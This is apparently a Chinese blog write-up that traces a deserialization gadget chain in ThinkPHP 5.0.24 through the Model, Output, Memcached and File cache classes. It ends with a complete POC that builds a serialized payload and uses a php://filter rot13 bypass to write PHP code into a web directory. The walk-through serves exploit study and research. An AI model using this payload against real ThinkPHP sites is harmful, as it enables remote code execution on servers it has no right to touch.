前言
环境创建:
composer create-project topthink/think=5.0.24 thinkphp5.0.24
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.24"
},
composer update
index写一波:
<?php
namespace app\index\controller;
class Index
{
public function index()
{
if(isset($_POST['data'])){
unserialize(base64_decode($_POST['data']));
}else{
highlight_file(__FILE__);
}
}
}
分析
这条反序列化链的利用需要在linux系统中,所以我后来又把tp5.0.24放到了自己的VPS服务器上。
这条链子和tp5.1的那条反序列化链有点像,但是这部分不同:
Thinkphp 5.1.x反序列化最后触发RCE,要调用的Request类__call方法.
但是由于这里self::$hook[$method]不可控,无法成功利用
因此之前的__call
无法利用,因此就要重新寻找__call
了。
大师傅们找到的是Output类中的__call方法。
起点还是一样的,是Windows类的__destruct()
:
进入removeFiles(),利用file_exists()
触发__toString()
:
5.1的链中是利用的Conversion类的__toString()
方法,但是5.0.24中不存在这个类了,因此另寻一个类来触发,利用Model类:
跟进toJson():
再跟进toArray()方法:
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
想要进入Output类的__call
方法,就要想办法寻找这样的:
$可控对象->类方法($可控变量)
只要对象可控,然后触发它不存在的方法,从而进入__call
。
将这个toArrty()方法大致扫一眼,发现有这么几个似乎满足:
$item[$key] = $relation->append($name)->toArray();
$item[$key] = $relation->append([$attr])->toArray();
$bindAttr = $modelRelation->getBindAttr();
$item[$key] = $value ? $value->getAttr($attr) : null;
选择最后一个进行利用:
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
首先$append
可控,因此$key
和$name
都可控。$relation
是通过Loader::parseName($name, 1, false);
得到的,说白了就是$relation
就是$name
。
$relation
需要是Model类的方法,而且这里:
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
$modelRelation
是通过这个方法得到的。需要知道$item[$key] = $value ? $value->getAttr($attr) : null;
,所以$value
需要是Output类的对象。
$modelRelation
需要是Model类的一个方法产生的对象,而且根据下面,他还要存在getBindAttr方法。根据寻找,发现Model类的getError方法很好用:
$this->error
可控,因此$modelRelation
可控。全局搜索一下getBindAttr
方法,存在于OneToOne类中,而这是个abstract类,经过寻找发现HasOne类继承于这个类,因此$this->error
是HasOne
类的对象。
跟进一下getRelationData()
:
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
echo "1";
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
$this->parent
可控,也需要是Output类。看一下isSelfRelation方法:
同样可控。还需要get_class($modelRelation->getModel()) == get_class($this->parent))
$modelRelation->getModel()
方法最终返回的是$this->query->model
,同样可控,因此这里也可以满足,因此这里return的$value
就是$this->parent
。
接下来的$bindAttr
同样可控:
因此至此这一路上的东西都可控,可以进入到Output类的__call
方法:
忽略接下来的那些echo "2"这样的代码,这是我用来当断点调试的。。。不想直接对照着断点看,y4师傅说这样提升不高。
Output类的对象同样可控,因此可以进入第一个if,进入block方法,不用太在意这个$args
,跟进到后面就知道这个参数没什么用。跟进block方法:
再进入writeln
方法:
继续跟进:
$this->handle
可控,尝试寻找可利用的write方法。经过寻找,找到了think\session\driver下的Memcached类:
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}
这个$handler
又可控,继续寻找可用的set方法,找到了一个非常熟悉的方法,File类的set方法:
/**
* 写入缓存
* @access public
* @param string $name 缓存变量名
* @param mixed $value 存储数据
* @param integer|\DateTime $expire 有效时间(秒)
* @return boolean
*/
public function set($name, $value, $expire = null)
{
echo "name:".$name."<br><br>";
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
echo "filename:".$filename ."<br><br>";
echo "value:".$value."<br><br>";
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
正是tp之前版本中cache缓存漏洞的那个set方法,可以看到这个写还是修复了的,后面加上了exit()来提前结束。不过如果按照cache的漏洞,用缓存来写马肯定不行,因为$filename
是不可控的。但是在这里,这条反序列化链中,这个$filename
是可控的,跟进getCacheKey方法:
这里可以用伪协议来绕过这个exit,非常经典的ctf题目了,具体可以参考我的另外一篇文章:
关于php://filter在file_put_contents中的利用
但是这里还是不能直接写马,因为sprintf中$expire
是%d
,但是这个$expire
从这条链回溯以下的话,是这个$newline
,传入的是true:
因此这里就写不成功。不过还没结束,继续跟进setTagItem()
:
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
echo "twice set"."<br><br>";
$this->set($key, $value, 0);
}
}
这里最下面又会再调用一次set方法,这里的key是$key = 'tag_' . md5($this->tag);
,而$value
就是$name
,也就是filename
,因此仍然可以利用伪协议来绕过,只不过这个$key
再一次进入set方法后,还会再md5一次然后前面拼接上伪协议,写入的文件名带有特殊符号,因此在windows中不行,必须是linux。
复现
实战中需要找个可写的目录写入,我这里的tp一开始没可写的目录,自己改一下:
chmod 777 static
然后构造一下POC:
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files[]=new Pivot();
}
}
}
namespace think{
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append[]="getError";
$this->error=new HasOne();
$this->parent=new Output();
}
}
}
namespace think\model\relation{
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation=false;
$this->query=new Query();
$this->bindAttr=array(
'123'=>"feng"
);
}
}
}
namespace think\db{
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model=new Output();
}
}
}
namespace think\console{
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles = [
'info',
'error',
'comment',
'question',
'highlight',
'warning',
"getAttr"
];
public function __construct()
{
$this->handle=new Memcached();
}
}
}
namespace think\session\driver{
use think\cache\driver\File;
class Memcached{
protected $handler;
protected $config = [
'host' => '127.0.0.1', // memcache主机
'port' => 11211, // memcache端口
'expire' => 3600, // session有效期
'timeout' => 0, // 连接超时时间(单位:毫秒)
'session_name' => '1', // memcache key前缀
'username' => '', //账号
'password' => '', //密码
];
public function __construct()
{
$this->handler=new File();
}
}
}
namespace think\cache\driver{
class File{
protected $tag;
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => "",
'path' => "php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>",
'data_compress' => false,
];
public function __construct()
{
$this->tag="1";
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//echo str_replace("+","2b",base64_encode(serialize(new Windows())));
}
这里我懒得再去看这一路上的md5值以及最终的文件名了,直接给打印出来了:
需要注意中间还有这个:<?cuc cucvasb();?>
:
再访问即可:
放一下大师傅的图: